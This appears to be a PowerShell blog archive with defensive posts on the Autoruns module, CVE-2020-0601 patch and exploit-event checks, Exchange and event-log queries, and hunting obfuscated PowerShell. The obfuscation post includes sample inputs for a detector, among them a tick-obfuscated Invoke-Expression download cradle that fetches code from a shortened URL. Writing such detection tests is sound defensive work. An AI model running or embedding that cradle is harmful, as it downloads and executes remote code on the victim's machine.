About AutoRuns version 13.95

It’s long overdue, I’ve published on Sunday the version 13.95 of the Autoruns module.
You can find the digitally signed version on the PowerShell Gallery
I’ve written some release notes on GitHub as well on this page that highlights the changes and fixes in this release.
I won’t repeat the “basics” about how to install it that you can find on the main page of the project. I’d like here to focus on the main changes:

  • Support for user shell folders

The original Microsoft Autoruns.exe executable added

support for user Shell folders redirections

last year (see release notes).
The Autoruns module had a check in “$($env:AppData)\Microsoft\Windows\Start Menu\Programs\Startup” assuming that both Startup value in the User Shell folders and Shell folders registry key haven’t been hijacked.
The other issue with that code was that it was still not compatible with the -User parameter introduced in version 13.90.1
I also fixed a third issue. When there’s a file located in these folders, it’s found even if its hidden attribute is set. I simply added a -Force switch to the Get-ChildItem cmdlet.

Get-PSAutorun -Logon | Where Path -match 'Shell\sFolders'

It displays the non expanded value of the Startup value under the ‘User Shell folders’. This value is expanded in this ‘Shell folders’ key. The code checks what’s in this path.
If it’s an executable, it shows this file and if it’s a shortcut, it follows it and displays its target.

Here’s what the original Autoruns shows when there are files in the location:

Here’s what the Autoruns PowerShell modules shows:

  • New -Raw parameter

As described in issue #56, the main idea is the avoid manipulating and trying to prettify found artifacts. The -Raw parameter aims at displaying artifacts “untouched”.
It’s therefore incompatible with the -ShowFileHash and -VerifyDigitalSignature parameters. That’s why there’s a 2nd parameterset added to the main function to handle this incompatibility.

Let’s see it in action:

Get-PSAutorun -Raw | ogv -PassThru 

Here’s a sample output of scheduled tasks

Here’s a sample output of drivers and services

  • New -PSProfiles parameter

This is what I merged from the experimental branch. PowerShell profiles can used in offensive or defensive way.

PowerShell profiles are currently not considered as a persistence mechanism by the original Autoruns.exe from Microsoft although they should.

PowerShell profiles can be used a persistence mechanism. It’s has demonstrated here.

PowerShell profiles have been used a persistence technique by the Turla group and PowerShell profiles is an attack technique listed in the MITRE matrix.

Get-PSAutorun -PSProfiles

NB:What the Get-PSAutorun function displays may not be exhaustive because it depends on the host. The Visual Studio Code (VSCode) host is not handled currently for example and will not in the output. (See more about_profiles)

Adding some Pester tests to Autoruns module

I’ve been working with Pester for a while and I thought it would be nice to have some Pester tests in the Autoruns module.

I don’t have very high expectations and thought I’d start with some tests to validate that previous issues encountered are still fixed and keep being remediated.

While writing these tests, I encountered two challenges.

  • First challenge

The first one is that the module exports a single function and there are many functions in the begin block of this exported function.
I needed to find a solution to be able to test anything in the code whatever the function.
I decided to use the Abstract Syntax Tree (a.k.a AST) to extract every function and inject them in a fake module. In other words the function tree in the original module would be flatten in this fake module.
This way I can use the InModuleScope and test anything I want.

Here’s the only exported function from the original Autoruns module:

Here are the inner functions extracted from the original module and loaded in the FakeAutoRuns module:

Here’s the code that extracts the functions and loads them in a flat (fake) module:

  • The 2nd challenge

The 2nd challenge was that I needed to mock some calls made to a .Net method.

I needed to mock the Test-Path, Get-Item cmdlets and especially the call to the method named GetSubKeyNames on the Microsoft.Win32.RegistryKey objects returned by the Get-Item cmdlet in the following example:

Here’s what I did to mock these cmdlets and their invocation of a .Net method

I feel that the learning curve is steep with Pester. If you know a better way to write Pester tests for this issue #26, please tell me, your input is more than welcome.

What to do after patching CVE-2020-0601

The FAQ section of CVE-2020-0601 includes the following:

How can I tell is someone is attempting to use a forged certificate to exploit this vulnerability?

NB: Once patched, events are generated after a reboot.

It appears you can also rely on Windows Defender to answer this question: exploit attempts are detected as Exploit:Win32/CVE-2020-0601.A and Exploit:Win32/CVE-2020-0601.B

    • Is my system patched against CVE-2020-0601 exploits?
# Updated against CVE-2020-0601 exploits?
if ($updated =Get-Item C:\Windows\System32\crypt32.dll |
Select-String '\[CVE-2020-0601\]' -Encoding unicode) {
 'Already Updated against CVE-2020-0601'
} else {
 'Protection against CVE-2020-0601 missing'

If your system is patched, you get:

If it’s not, you get:

    • Any exploit attempt detected?

There’s a provider named Microsoft-Windows-Audit-CVE that can generate 2 events:

# What kind of events we get from this provider
(Get-WinEvent -ListProvider 'Microsoft-Windows-Audit-CVE').Events

Once patched, you could know if an attempt to exploit this CVE has been made

# Anything that would require investigation
$HT = @{
 FilterHashTable = @{ProviderName ='Microsoft-Windows-Audit-CVE'}
 ErrorAction = 'SilentlyContinue'
 Verbose = [switch]::Present
if ($events = Get-WinEvent @HT) {
} else {
 'No CVE exploit detected'

# Display more properties
if ($events) {
 $events | 
 Select -Property * -Exclude MachineName,UserId

NB: The above query allows to find both events id 1 and 2 from the Application and System log.

There no known attempt to exploit it yet, according to this MSRC blog post.

This vulnerability is classed Important and we have not seen it used in active attacks.

Let’s say that there’s an exploit in the wild.
You can follow this guide to analyze the para field of Audit-CVE event ID 1 (mentioned in the FAQ of CVE-2020-0601):

Credit: Matt Graeber

Other links:

Quick post: find users who have an Exchange Online mailbox

If you have a hybrid Exchange infrastructure, it appears that you can query your local Active Directory to find out users who have already been migrated to Exchange Online.

Thanks to the attribute named msExchRecipientTypeDetails (values detailed here), you can find these accounts with a remote mailbox.

Here’s a small function that leverages this msExchRecipientTypeDetails attribute:

You can even bind cmdlets like this for example:

Get-RemoteUserMailbox  |
Get-ADUser -Properties AccountExpirationDate | 

Nice, isn’t it? 😀

Invoke Get-WinEvent without parameters

You may be used to invoke cmdlets without parameters and get a nice default end-user experience. However, you may be surprised by the default behavior of the Get-WinEvent cmdlet. In a Windows PowerShell 5.1 console, you may encounter the following error:

Get-WinEvent : The data is invalid
At line:1 char:1
+ Get-WinEvent
+ ~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-WinEvent], EventLogInvalidDataException
+ FullyQualifiedErrorId : The data is invalid,Microsoft.PowerShell.Commands.GetWinEventCommand

This issue has already been reported a long time ago on uservoice.

Let’s try to find out what happens behind the scene, when you invoke the Get-WinEvent cmdlet without parameters.

The default parameter set is named GetLogSet and has the following parameters:

# Get the name of the default parameter set
Get-Command Get-WinEvent | Select DefaultParameterSet

# What are its parameters
(Get-Command Get-WinEvent).ParameterSets | 
Where isDefault | 
Select -ExpandProperty Parameters | Out-GridView

Notice that none of them is mandatory.

What kind of error is this?

$Error[0] | Select -Property *

We actually get an error that has the following fully qualified name System.Diagnostics.Eventing.Reader.EventLogInvalidDataException

If you invoke the Get-WinEvent cmdlet with one of the common parameters, the Debug switch, you get the following:

Get-WinEvent -Debug

An xml query is created with 434 log names (the index starts at 0).

Let’s extract this xml query.
If you remember my post about how to Make Get-WinEvent cmdlet perform quicker, you know that the XML query also appears in the Verbose stream.
By merging the output and verbose stream and removing the ending dot and the first line, I can capture the xml query in a variable named q.

# oneliner
$q = ((( $(try {Get-WinEvent -Verbose -ErrorAction Stop 4>&1} catch {}).Message) -split "`n")[1]) -replace '\.',''

# same oneliner split on multiple lines for a better readability
$q = (
   try {
    Get-WinEvent -Verbose -ErrorAction Stop 4>&1
   } catch {}
  ) -split "`n"
) -replace '\.',''


The captured xml query is valid because casting it to the XML type alias or accelerator (for [System.Xml.XmlDocument]) doesn’t throw an error.

By using a dichotomic approach, it’s possible to find out when the error occurs.

It appears that the number of Paths is the culprit. You can have a single Query node with a huge number of Paths or a huge number of Query nodes with a Path, it doesn’t make a difference. In both cases having more than 256 Paths will produce this undesirable behavior.

You get actually the same error if you do the following

Get-WinEvent -LogName *
# Use the Debug switch to uncover the XML query:
Get-WinEvent -LogName * -Debug

The LogName is the non-mandatory parameter that belongs to the default parameter set named GetLogSet. It has the same behavior as invoking the Get-WinEvent cmdlet without parameters.

I haven’t seen many blog posts about this error and the following shed some lights on the 256 Paths limit:
Nice work Craig 🙂

Quick post: Review Windows Defender notifications

My son has dowloaded some zip files to be used when he plays Minecraft. The Windows Defender real-time scan blocked and quarantined these files. I had a notification the next time I logged on the computer.
I dismissed too quickly the notification and wanted to get more info about what happened.
I went in the Windows Security dashboard but I couldn’t find any info in the History 😦

After some Google-fu, I found the following page on doc.microsoft.com about Review event logs and error codes to troubleshoot issues with Windows Defender Antivirus.

It appears that you can either use PowerShell to retrieve these events from the log 😀

Get-WinEvent -FilterHashtable @{
 ProviderName = 'Microsoft-Windows-Windows Defender'; 
} | 
Select -Last 2 -ExpandProperty Message

or a filter in the event viewer.

Hunting for obfuscation

During my summer holidays, I watched some of the great PSConf.eu content published on youtube.

This blog post is a focus on Daniel Bohannon’s presentation named PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell

Here’s the material he made available:

He made a demo of Measure-SAObfuscation.psm1 being run on the PowerShellCorpus.
This function is available in his 2 years old github repo named DevSec-Defense

I wanted to learn more and deep dive into his code. I wanted to learn how he’s detecting obfuscation.

During this journey, I realised I could use the same structure as the InjectionHunter module. I first created a module named ObfuscationHunter.
In this module, all I did is: restructure the content, reassemble the pieces of the puzzle, write some lazy Pester tests, sign the code and catalogs, merge the content from the different presentations (the Measure-TickUsageInVariable function isn’t in the custom rules of the DevSec-Defense github repo)… .

I thought the work of Daniel Bohannon and Lee Holmes is absolutely fantastic and awesome.
I didn’t go too much forward because Daniel Bohannon said he has the intention to publish it to the PowerShell Gallery. Once he does, it should be listed on his PSGallery page.

So, by using the same idea I presented on this blog post,
Using PowerShell Injection Hunter at scale, I created a Test-ObfuscationHunter function.

It shares the same principles as the InjectionHunter module:

    • has a dependency on the PSScriptAnalyzer module
    • uses custom rules that can be found here
    • each rule uses a predicate (a scriptblock) to parse the Abstract Syntax Tree (AST)

This Test-ObfuscationHunter function allows me to do the following:

    • Test if some piece of code uses a tick to obfuscate a command:
    • # load the above function I created
      . ~\Documents\Test-ObfuscationHunter.ps1
       $Code = @'
      Test-ObfuscationHunter -Code $Code

    • Test if some piece of code uses a tick to obfuscate a member:
    • $Code = @'
      Test-ObfuscationHunter -Code $Code 

      NB: it also detects the tick as a non-alphanumeric character used in a member.

    • Test if some piece of code uses a non-alphanumeric character to obfuscate a member
    • $Code = @'
      Test-ObfuscationHunter -Code $Code 

    • Test if some piece of code uses a suspicious/abusive expression length to obfuscate a member
    • $Code = @'
      'a'.((((New-Object Net.WebClient) |GM)| Where-Object{(Get-Item Variable:/_).Value.Name-like'D*g'}).Name)
      Test-ObfuscationHunter -Code $Code

      NB: it also detects the tick as a non-alphanumeric character used in a member.

    • Test if some piece of code uses a tick to obfuscate a variable
    • $Code = @'
      'notepad' | . (${e`Nv:C`Om`Spec}[4,15,25] -join '')
      Test-ObfuscationHunter -Code $Cod

      NB: it also detects the tick being used in a member.

    • Test if some piece of code uses a tick to obfuscate a variable
    • $Code = @'
      Test-ObfuscationHunter -Code $Code

    • Test if some piece of code uses a non-alphanumeric character to obfuscate a variable
    • $Code = @'
      Test-ObfuscationHunter -Code $Code

    • Test if some piece of code uses many obfuscation techniques
    • Test-ObfuscationHunter -Code @'
      Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')